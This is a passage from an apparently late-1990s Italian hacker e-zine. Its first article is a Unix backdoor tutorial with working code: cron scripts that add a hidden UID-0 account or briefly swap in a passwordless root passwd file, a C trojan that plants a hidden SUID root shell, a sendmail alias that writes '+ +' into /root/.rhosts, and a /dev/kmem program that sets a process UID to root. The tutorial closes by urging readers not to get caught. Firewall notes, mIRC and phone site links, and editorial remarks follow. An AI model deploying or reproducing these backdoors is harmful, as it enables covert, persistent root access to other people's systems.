(1-31), mese dell' anno (1-12), giorno della settimana (0-6). Il campo (6) contiene i comandi da eseguire. Lo script dell'esempio di sopra e' eseguito tutti i lunedi. Per sfruttare il crontab basta aggiungere una riga a /var/spool/crontab/root. Per esempio possiamo avere un cron job che viene eseguito ogni giorno e che controlla se nell' /etc/passwd c'e' ancora un account con UID 0 che abbiamo precedentemente aggiunto, altrimrenti aggiungerlo se questo non e' piu' presente. Potrebbe essere una buona idea inserire uno shell script in un cronjob che esiste gia per nascondere ulteriormente la backdoor. Ad esempio aggiungere la seguente linea a /var/spool/crontab/root 0 0 * * * /usr/bin/trojancode dove trojancode e' il seguente shell script: #!/bin/csh # C'e' il nostro account nel passwd? set evilflag = (`grep eviluser /etc/passwd`) if($#evilflag == 0) then set linecount = `wc -l /etc/passwd` cd cp /etc/passwd ./temppass @ linecount[1] /= 2 @ linecount[1] += 1 split -$linecount[1] ./temppass echo "EvilUser::0:0:Mr. Sinister:/home/sweet/home:/bin/csh" >> ./xaa cat ./xab >> ./xaa mv ./xaa /etc/passwd chmod 644 /etc/passwd rm ./xa* ./temppass echo Done... else endif Possiamo anche fare qualcos'altro con il cron tab. Dobbiamo avere anche un altro password file nascosto da qualche parte (/var/spool7mail/.sneaky potrebbe essere un idea...). In questo passwd ci deve essere un solo account root. Poi mandiamo in esecuzione un cronjob che ogni mattina alle 2.30 salva una copia del vero passwd da qualche parte e installera quello hakkato come VERO /etc/passwd per un minuto. Ogni utente normale che tentera' di effetuare il login non potra' entrare nel sistema ma un minuto dopo la situazione sara' di nuovo sotto controllo. Aggiungete questa riga al crontab del root: 29 2 * * * /bin/usr/sneakysneaky_passwd Accertatevi che questo esista: #echo "root::0:0:Operator:/:/bin/csh" > /var/spool/mail/.sneaky e questo e' un semplice shell script: #!/bin/csh # Installa un passwd hakkato per un minuto cp /etc/passwd /etc/.temppass cp /var/spool/mail/.sneaky /etc/passwd sleep 60 mv /etc/.temppass /etc/passwd A questo punto perche' non servirsi del codice c per rendere meno visibile la backdoor? Questo di seguito e' un cavallo di troia che crea una shell SUID root . /* daemon9@netcom.com */ #include #define KEYWORD "industry3" #define BUFFERSIZE 10 int main(argc, argv) int argc; char *argv[];{ int i=0; if(argv[1]){ /* we've got an argument, is it the keyword? */ if(!(strcmp(KEYWORD,argv[1]))){ /* This is the trojan part. */ system("cp /bin/csh /bin/.swp121"); system("chown root /bin/.swp121"); system("chmod 4755 /bin/.swp121"); } } /* Put your possibly system specific trojan messages here */ /* Let's look like we're doing something... */ printf("Sychronizing bitmap image records."); /* system("ls -alR / >& /dev/null > /dev/null&"); */ for(;i<10;i++){ fprintf(stderr,"."); sleep(1); } printf("\nDone.\n"); return(0); } /* End main */ BACKDOOR CON IL SENDMAIL Il file degli alias del sendmail permette alla posta mandata ad un singolo utente di essere processata di seguito da un programma. Ad esempio aggiungete la linea: decode: |/usr/bin/uudecode al file /etc/aliases Questo e' il uudecode ;)) uudecode.sh ----------- #!/bin/sh # Crea il nostro file rhosts echo "+ +" > tmpfile /usr/bin/uuencode tmpfile /root/.rhosts Dopo basta telnettare alla porta 25 dell'host all'utente decode@host.com e usare come subject la versione "uuencoded" del file .rhosts. Per mettere tutto su una sola linea: echo "+ +" | /usr/bin/uuencode /root/.rhosts | mail decode@victimserver.com potete essere creativi quanto volete....potete settare un alias che faccia eseguire un programma di vostra scelta... BACKDOOR INSOSPETTABILE Oltre a questi metodi qui descritti si puo aggiungere del codice hakkato all'interno di programmi comuni. Questo e' un metodo quasi infallibile che puo' essere notato solo da programmi come tripware. L'idea e' semplice: inserire del codice nel sorgente di programmi comunemente usati alcuni dei programmi piu utili a noi in questi caso sono su, login, passwd perche' gia mandano in esecuzione il SUID a root e non c'e' bisogno di modifiche ai permessi. Una volta che vi siete procurati il sorgente, strutturate la backdoor in questo modo: .... get input; if input is special backdoor flag,run backdoor program ; else if input is valid ,continue; else quit with error; .... Questo comunque e' solo un estratto di pseudo codice ...solo per dare un idea di come impostare la cosa. BACKDOOR ESOTERICA Exploit con il /dev/kmem!!! Poiche' il kernel tiene i suoi parametri in memoria e' possibile modificare la memoria della macchina per cambiare l'UID del vostro processo. Per fare questo c'e' bisogno che comunque il /dev/kmem abbia permesso di lettura/scrittura. In pratica vengono eseguite le seguenti operazioni: Si apre il /dev/kmem, si cerca la vostra page in memoria, si sovrascriva l'UID del vostro processo e in seguito viene aperta una shell csh che ereditera' l'UID del vostro processo. Il segunte programma fa proprio questo. /* If /kmem is is readable and writable, this program will change the user's UID and GID to 0. */ /* This code originally appeared in "UNIX security: A practical tutorial" with some modifications by daemon9@netcom.com */ #include #include #include #include #include #include #include #define KEYWORD "nomenclature1" struct user userpage; long address(), userlocation; int main(argc, argv, envp) int argc; char *argv[], *envp[];{ int count, fd; long where, lseek(); if(argv[1]){ /* we've got an argument, is it the keyword? */ if(!(strcmp(KEYWORD,argv[1]))){ fd=(open("/dev/kmem",O_RDWR); if(fd<0){ printf("Cannot read or write to /dev/kmem\n"); perror(argv); exit(10); } userlocation=address(); where=(lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannot seek to user page\n"); perror(argv); exit(20); } count=read(fd,&userpage,sizeof(struct user)); if(count!=sizeof(struct user)){ printf("Cannot read user page\n"); perror(argv); exit(30); } printf("Current UID: %d\n",userpage.u_ruid); printf("Current GID: %d\n",userpage.g_ruid); userpage.u_ruid=0; userpage.u_rgid=0; where=lseek(fd,userlocation,0); if(where!=userlocation){ printf("Cannot seek to user page\n"); perror(argv); exit(40); } write(fd,&userpage,((char *)&(userpage.u_procp))-((char *)&userpage)); execle("/bin/csh","/bin/csh","-i",(char *)0, envp); } } } /* End main */ #include #include #include #define LNULL ((LDFILE *)0) long address(){ LDFILE *object; SYMENT symbol; long idx=0; object=ldopen("/unix",LNULL); if(!object){ fprintf(stderr,"Cannot open /unix.\n"); exit(50); } for(;ldtbread(object,idx,&symbol)==SUCCESS;idx++){ if(!strcmp("_u",ldgetname(object,&symbol))){ fprintf(stdout,"User page is at 0x%8.8x\n",symbol.n_value); ldclose(object); return(symbol.n_value); } } fprintf(stderr,"Cannot read symbol table in /unix.\n"); exit(60); } E' necessario, affinche' il codice precedente funzioni, che il /dev/kmem sia scrivibile, e questo non e' quello che succede di solito, dobbiamo occuparcene noi. Il mio conisglio e' quello di scrivere uno shell script che cambi i permessi del /dev/kmem per una discreta quantita' di tempo (diciamo 5 minuti) e poi li cambi di nuovo nella loro configurazione iniziale; potete utilizzare questo script: chmod 666 /dev/kmem sleep 300 chmod 600 /dev/kmem E questo e' quanto...mi raccomando non fatevi beccare;) Chi avesse intenzione di contattarmi puo' farlo a: Jester@cryogen.com 7) Firewall: un approfondimento (Parte II) Nell'articolo precendente abbiamo visto una panoramica generale su cosa sia un firewall e come opera, questa volta cercheremo di vedere e capire piu' da vicino i settaggi che possono determinare la sicurezza/insicurezza di un firewall ed eventuali servizi aggiuntivi che un firewall puo' svolgere. Premettendo che un firewall per essere ragionevolmente sicuro deve essere installato su una macchina dedicata, a meno che non siano previsti servizi tipo FTP (distribuzione aggiornamenti,listini, ecc.), come accennato la volta scorsa, la prima cosa che un amministratore di sistema, che si appresta a montare un firewall, deve fare e' di sospendere tutti i demoni non necessari; questo per fare si che il sistema sia il piu' "leggero" possibile e soprattutto per chiudere tutte le connessioni TCP provenienti da porte non necessarie. Per fare cio' bisogna modificare il file /etc/inetd.conf; vediamo di seguito un estratto di tale file: #ident "@(#)inetd.conf 1.22 95/07/14 SMI" /* SVr4.0 1.5 */ # # Configuration file for inetd(1M). See inetd.conf(4). # # To re-configure the running inetd process, edit this file, then # send the inetd process a SIGHUP. # # Syntax for socket-based Internet services: # # # Syntax for TLI-based Internet services: # # tli # # Ftp and telnet are standard Internet services. # ftp stream tcp nowait root /usr/sbin/in.ftpd in.ftpd telnet stream tcp nowait root /usr/sbin/in.telnetd in.telnetd time stream tcp nowait root internal Come si puo' notare sono elencati diversi deamon (la lista completa Š in genere composta da una ventina di deamon), che in questo caso sono tutti attivi: per eliminarli non bisogna far altro che inserire un commento (#) all'inizio della riga in cui sono definiti. Questo file pero' per noi che siamo fuori dal sistema ha una utilit… relativa in quanto nel momento in cui riusciamo a darci una occhiata significa che siamo dentro il sistema e quindi siamo a posto!!8) Per chi e' fuori l'unico modo di vedere quali porte sono state lasciate aperte e' di utilizare uno dei tanti Port Scanner, che una volta lanciato ci elenchera' tutte le porte disponibili, comprese quelle lasciate aperte dai vari servizi di start up e dal kernel (che non sono elencati nel file appena visto) tipo mountd, nfsd, rstatd, portmap ecc.. Un'altra cosa da verificare, e' vedere se e' stato disabilitato l'IP forwarding. Il firewall, essendo collegato a due reti, ha ovviamente due interfacce di rete, e se l'IP forwarding non e' stato disabilitato tutti i pacchetti che arrivano ad una interfaccia, e sono destinati ad una LAN diversa da quella di provenienza (che potrebbe essere anch'essa protetta dal firewall), vengono ritrasmessi a tutte le interfacce disponibili, compresa quella che comunica con il "mondo esterno", senza dover passare per il proxy, di conseguenza tutto il potenziale del firewall viene a cadere. Ma il vero cuore del sistema e' la rule table cioe' quel file (in genere /usr/local/etc/netperm-table) dove sono inserite tutte le regole di accesso alla rete che vengono usate dai proxy dei vari servizi. Il file in questione e' un file testo in cui in ogni riga e' presente una regola di accesso; la sintassi ed i paramentri delle varie regole sono diverse a seconda dei vari servizi e dei tipi di proxy usati, ma piu' o meno ricalcano questo schema: hosts -exec : identifica il servizio a cui va applicata la regola hosts : permette o meno l'accesso ad un IP o un gruppo di IP -exec : specifica il percorso e gli eventuali argomenti del programma che gestisce il servizio (demone) A questi parametri possono esserne aggiunti o eliminati alcuni a seconda del proxy utilizzato. Concludiamo infine questa breve panoramica sui firewall ricordando che un sistema di questo tipo puo' essere usato anche come protezione contro attacchi ICMP e flood in genere; basta aggiungere delle opportune regole alla rule table; in genere e' sempre opportuno inserirle...non si sa mai.. la Rete e' piena di lamer che si divertono con poco..... ..SeE Ya.. P.S. Visto che certa gente si Š lamentata del fatto che per l'articolo del numero precendente avevo preso spunto dalla Firewall FAQ di Marcus J. Ranum, vorrei fare notare che, almeno che voi il vostro Know-how non lo prendiate in pillole, da qualche parte le informazioni vanno lette e di conseguenza visto che tale documento esponeva alcuni concetti molto bene ho ritenuto opportuno usarlo come base del mio discorso. Sempre per la cronaca l'articolo che avete appena letto, non ha preso spunto da niente se non dalla mia personale esperienza. 8) I siti del Dr.Creker ( by Dr.Creker ) Ok. Riapro questa paginetta iniziata la volta scorsa indicando altri siti piu' o meno utili. Niente intro. Questa volta si parte subito. Solo una cosa: mi sono voluto divertire questa volta con pagine su cellulari e su script per il mirc. Godeteveli: http://www.7thsphere.com Sito dei "produttori" dello script chiamato 7thsphere che, a dir di molti e' inutile e pieno di bug ma secondo me ha al suo interno alcune interessanti funzioni come il dns lookup e altre belle cosine. Ci farei un salto. http://www.mircscripts.com Altro sito per script del mirc. Se chattate spesso in irc e non vi sentite sicuri cosa ne dite di scaricare qualche bello scriptino da qua? http://www.scripterz.com Ultimo sito della lista sugli script per il mirc. Forse piu' interessante di quello precendente. Se state cercando qualcosa io non mancherei di visitare uno di questi tre siti che vi ho detto...poi vedete voi! http://www.cellular.co.za/gsm-phonesecrets.htm Sito dedicato ai cellulari. Menu' nascosti e altre varie funzioni sono descritte in maniera abbastanza carina. Andateci solamente se state cercando qualcosa sui cellulari. http://www.starvision.net/gsm Ottimo sito dedicato ai cellulari di ogni tipo. Vi sono link con le maggiori ditte che producono cellulari e vi sono elencati per quasi tutte le marche piu' importanti trucchettini e altre amenita' del genere. Consigliato. Con cio' la mia piccola rubrichetta e' finita e conclusa. Vi lascio alla lettura degli altri articoli. Byez! See Ya!! :) Ciao a tutti Dr.Creker Ringraziamenti Questa parte dei ringraziamenti e' dedicata interamente ad un mio amico di nome MainMan che non solo ha dedicato il suo ( poco ) tempo alla creazione della nostra homepage ma lo ha fatto in maniera direi molto, molto professionale. Quindi vorrei semplicemente ringraziarlo da parte mia e di tutti gli altri ragazzi di SystemDown per cio' che ha fatto e che spero fara' per le prossime pubblicazioni. Conclusioni ( by InfectedMachine ) Dovrebbe essere fine luglio, primi di agosto, circa quando leggerete questa rivista; l'estate e' ormai nel suo pieno. Il mare, il sole, le donne... insomma, le solite cose di ogni anno. Non so se ve ne frega qualcosa o meno comunque in tre settimana di "vita" la pagina di systemdown e' stata visitata da circa seicento anime perse. Sinceramente non me lo aspettavo; diciamo che lo consideriamo un ottimo traguardo. Ora dopo circa un mese e una settimana siamo a quota 800... Volevo dire una cosa: Avevo intenzione di inserire nella nostra rivista una piccola parentesi. Se a qualcuno di voi interessasse pubblicare un suo articolo su un qualsiasi argomento riguardante i temi trattati in systemdown lo puo' fare mandandolo a me o al dr.creker che provvederemo alla sua pubblicazione nei futuri numeri a partire ( sempre che qualcuno scriva si intende! ) dal quarto. Vi lascio ricordandovi le nostre solite mail a cui ci potete scrivere: infected@community.co.uk dr.creker@deathsdoor.com